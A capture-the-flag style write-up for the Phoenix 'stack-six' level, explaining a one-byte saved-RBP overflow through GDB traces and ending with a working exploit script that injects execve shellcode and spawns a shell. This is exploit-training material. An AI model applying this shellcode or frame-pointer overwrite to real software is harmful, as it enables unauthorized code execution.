Phoenix - Stack Six

5 minute read

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *what = GREET;

char *greet(char *who) {
  char buffer[128];
  int maxSize;

  maxSize = strlen(who);
  if (maxSize > (sizeof(buffer) - /* ensure null termination */ 1)) {
    maxSize = sizeof(buffer) - 1;
  }

  strcpy(buffer, what);
  strncpy(buffer + strlen(buffer), who, maxSize);

  return strdup(buffer);
}

int main(int argc, char **argv) {
  char *ptr;
  printf("%s\n", BANNER);

#ifdef NEWARCH
  if (argv[1]) {
    what = argv[1];
  }
#endif

  ptr = getenv("ExploitEducation");
  if (NULL == ptr) {
    // This style of comparison prevents issues where you may accidentally
    // type if(ptr = NULL) {}..

    errx(1, "Please specify an environment variable called ExploitEducation");
  }

  printf("%s\n", greet(ptr));
  return 0;
}

This level exploits the 1‑byte buffer overflow, to learn more about it read the references at the end.

This code reads the environment variable ExploitEducation and passes it to greet function in the variable who.

Then it copies GREET message to the buffer which in this case is “Welcome, I am pleased to meet you “.

After that it check for input size (maximum size is 127).

Now comes the bug, it copies the input to buffer + 34 (GREET length) so if our input size is 127 which is the maximum we could overflow the buffer and write 34 bytes past it.

So in total we are allowed to write 34 + 127 = 161 bytes, is it enough to overwrite the return address and redirect code execution ???

Unfortunately the answer it no, we can only overwrite the lowest byte of the saved RBP.

Quick tips:

  • You can add these lines to “.gdbinit” file to adjust gdb addresses to be more realistic.
unset env LINES
unset env COLUMNS
set env _ /opt/phoenix/amd64/stack-six
  • Keep the length of your exploit fixed every time to avoid shifting memory addresses (and to avoid the headache).
$ export ExploitEducation=$(python -c "print 'A'*161")			# Fill ExploitEducation env variable with 127 A's

$ gdb -q /opt/phoenix/amd64/stack-six 
Reading symbols from /opt/phoenix/amd64/stack-six...(no debugging symbols found)...done.

gef➤  disassemble greet 
Dump of assembler code for function greet:
.....
   0x000000000040077a <+125>:	mov    rdi,rcx
   0x000000000040077d <+128>:	call   0x400550 <strncpy@plt>
   0x0000000000400782 <+133>:	lea    rax,[rbp-0xa0]			# address of who
   0x0000000000400789 <+140>:	mov    rdi,rax
   0x000000000040078c <+143>:	call   0x400560 <strdup@plt>
.....

gef➤  b *0x0000000000400782
Breakpoint 1 at 0x400782

gef➤  r
Starting program: /opt/phoenix/amd64/stack-six 
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Breakpoint 1, 0x0000000000400782 in greet ()

gef➤  info registers rbp
rbp            0x7fffffffe590      0x7fffffffe590

gef➤   x/22xg $rbp-0xa0
0x7fffffffe510:	0x2c656d6f636c6557	0x6c70206d61204920
0x7fffffffe520:	0x6f74206465736165	0x6f79207465656d20
0x7fffffffe530:	0x4141414141412075	0x4141414141414141
0x7fffffffe540:	0x4141414141414141	0x4141414141414141
0x7fffffffe550:	0x4141414141414141	0x4141414141414141
0x7fffffffe560:	0x4141414141414141	0x4141414141414141
0x7fffffffe570:	0x4141414141414141	0x4141414141414141
0x7fffffffe580:	0x4141414141414141	0x4141414141414141
0x7fffffffe590:	0x4141414141414141	0x4141414141414141
0x7fffffffe5a0:	0x4141414141414141	0x4141414141414141
0x7fffffffe5b0:	0x00007fffffffe541	0x00000000004007e9

As you can see we were able to only overwrite the first byte of the saved RBP (remember that this is the base pointer of the calling function”main”).

We know that this modified RBP will be used to restore RSP at the end of main function and then jump to the return address, so the idea of the exploit is modifying RBP to point to a an address where RBP+8 (which will be the return address of main) points somewhere in the environment variable ExploitEducation.

We can get the address of ExploitEducation using many ways like dumping the stack until we find it (environment variables are at the end of the stack).

Here I used the command grep which is an alias for search-pattern.

gef➤  grep ExploitEducation=
[+] Searching 'ExploitEducation=' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rwx
  0x7fffffffeeff - 0x7fffffffef36  →   "ExploitEducation=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"

As you can see our input address starts at 0x7fffffffeeff, but we need the start of the input to the real start is 0x7fffffffeeff + len(“ExploitEducation=”) = 0x7fffffffef10.

So the return address must point somewhere inside 0x7fffffffef10 and 0x7fffffffef10+126.

As we can only change the last byte of RBP, it’s value can be between 0x7fffffffe501 and 0x7fffffffe5ff, so let’s put a breakpoint at the end of main and see if there is a good address we can jump to in this range.

gef➤  disassemble main 
Dump of assembler code for function main:
   0x00000000004007e4 <+73>:	call   0x4006fd <greet>
   0x00000000004007e9 <+78>:	mov    rdi,rax
   0x00000000004007ec <+81>:	call   0x400530 <puts@plt>
   0x00000000004007f1 <+86>:	mov    eax,0x0
   0x00000000004007f6 <+91>:	leave

gef➤  b *0x00000000004007f6
Breakpoint 2 at 0x4007f6

gef➤  r
Starting program: /opt/phoenix/amd64/stack-six 
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Breakpoint 1, 0x00000000004007f6 in main ()

gef➤   x/32xg 0x7fffffffe500
0x7fffffffe500:	0x00007ffff7ffc948	0x00000000000000a6
0x7fffffffe510:	0x0000000000000001	0x00007ffff7db6d0f
0x7fffffffe520:	0x00007ffff7ffc948	0x00000000000000a6
0x7fffffffe530:	0x00007fffffffe58f	0x0000000000000001
0x7fffffffe540:	0x4141414141414141	0x00007ffff7ffb300
0x7fffffffe550:	0x0000000000000000	0x0000000000600c00
0x7fffffffe560:	0x000000000040079b	0x0000000000000000
0x7fffffffe570:	0x0000000000000000	0x00007ffff7db6b1e
0x7fffffffe580:	0x00007ffff7ffb300	0x0a00000000000000
0x7fffffffe590:	0x00007ffff7ffb300	0x00007ffff7db9934
0x7fffffffe5a0:	0x4141414141414141	0x00007fffffffe541
0x7fffffffe5b0:	0x00007fffffffe648	0x00000000004007f1
0x7fffffffe5c0:	0x00007fffffffe638	0x00000001ffffe648
0x7fffffffe5d0:	0x000000000040079b	0x00007fffffffef10
0x7fffffffe5e0:	0x0000000000000001	0x00007ffff7d8fd62
0x7fffffffe5f0:	0x0000000000000000	0x00007fffffffe630

And viola!!!, we get 0x00007fffffffef10 at address 0x7fffffffe5d8 so we overwrite RBP to be 0x7fffffffe5d0 and that’s it, the leave instruction will move RBP to RSP and pop the top value of the stack to RBP (which is at 0x7fffffffe5d0) then the ret will pop the next value to RIP (which is at 0x7fffffffe5d8).

So the whole idea was to overwrite RBP to point to an address where RBP+8 is the address of our shellcode, so that at the end of the calling function the value of RIP will point to that address.

Solution:

# solve.py

from pwn import *

shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

buff = ""
buff += '\x90' * 20		# some NOP sled is always good :)
buff += shellcode
buff += 'A' * (126 - len(buff))
buff += '\xd0'

print(buff)
$ export ExploitEducation=$(python solve.py)
$ /opt/phoenix/amd64/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome, I am pleased to meet you 1�H�ѝ��Ќ��H��ST_�RWT^�;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����
$ whoami
phoenix-amd64-stack-six

Note: the 32bit version might have a slightly different solution, but the idea is still the same.

References:

https://www.welivesecurity.com/2016/05/10/exploiting-1-byte-buffer-overflows